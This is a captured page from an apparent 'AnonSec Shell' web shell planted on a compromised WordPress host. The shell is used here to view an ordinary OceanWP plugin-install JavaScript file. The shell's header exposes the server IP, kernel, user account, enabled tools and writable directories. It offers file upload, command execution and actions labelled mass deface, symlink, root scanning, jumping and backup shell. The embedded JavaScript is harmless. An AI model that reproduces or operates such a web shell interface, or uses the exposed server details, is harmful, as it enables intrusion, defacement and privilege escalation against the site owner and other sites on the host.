AnonSec Shell
Server IP : 144.76.79.100  /  Your IP : 216.73.216.103   [ Reverse IP ]
Web Server : Apache
System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User : razzlestore ( 1092)
PHP Version : 8.2.29
Disable Function : NONE
Domains : 343 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/ocean-extra/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/cwd/wp-content/plugins/ocean-extra/assets/js/oceanwp-plugin-install.js
jQuery(document).ready(function($) {
    // Target only the plugin list in your custom tab
    $('#oceanwp-plugin-list').on('click', '.install-now', function(e) {
        e.preventDefault();

        var button = $(this);
        var pluginSlug = button.data('slug');

        button.text('Installing...').addClass('updating-message');

        $.ajax({
            url: oceanwpPluginInstall.ajax_url,
            type: 'POST',
            data: {
                action: 'oceanwp_install_plugin',
                slug: pluginSlug,
                _ajax_nonce: oceanwpPluginInstall.nonce
            },
            success: function(response) {
                if (response.success) {
                    button.text('Activate').removeClass('updating-message').addClass('activate-now button-primary');
                    button.data('action', 'activate'); 
                } else {
                    button.text('Install Now').removeClass('updating-message');
                    alert(response.data);
                }
            },
            error: function() {
                button.text('Install Now').removeClass('updating-message');
                alert('An error occurred. Please try again.');
            }
        });
    });

    $('#oceanwp-plugin-list').on('click', '.activate-now', function(e) {
        e.preventDefault();

        var button = $(this);
        var pluginSlug = button.data('slug');

        button.text('Activating...').addClass('updating-message');

        $.ajax({
            url: oceanwpPluginInstall.ajax_url,
            type: 'POST',
            data: {
                action: 'oceanwp_activate_plugin',
                slug: pluginSlug,
                _ajax_nonce: oceanwpPluginInstall.nonce
            },
            success: function(response) {
                if (response.success) {
                    button.text('Active').removeClass('updating-message').addClass('button-disabled').prop('disabled', true);
                } else {
                    button.text('Activate').removeClass('updating-message');
                    alert(response.data);
                }
            },
            error: function() {
                button.text('Activate').removeClass('updating-message');
                alert('An error occurred. Please try again.');
            }
        });
    });
});

Anon7 - 2022
AnonSec Team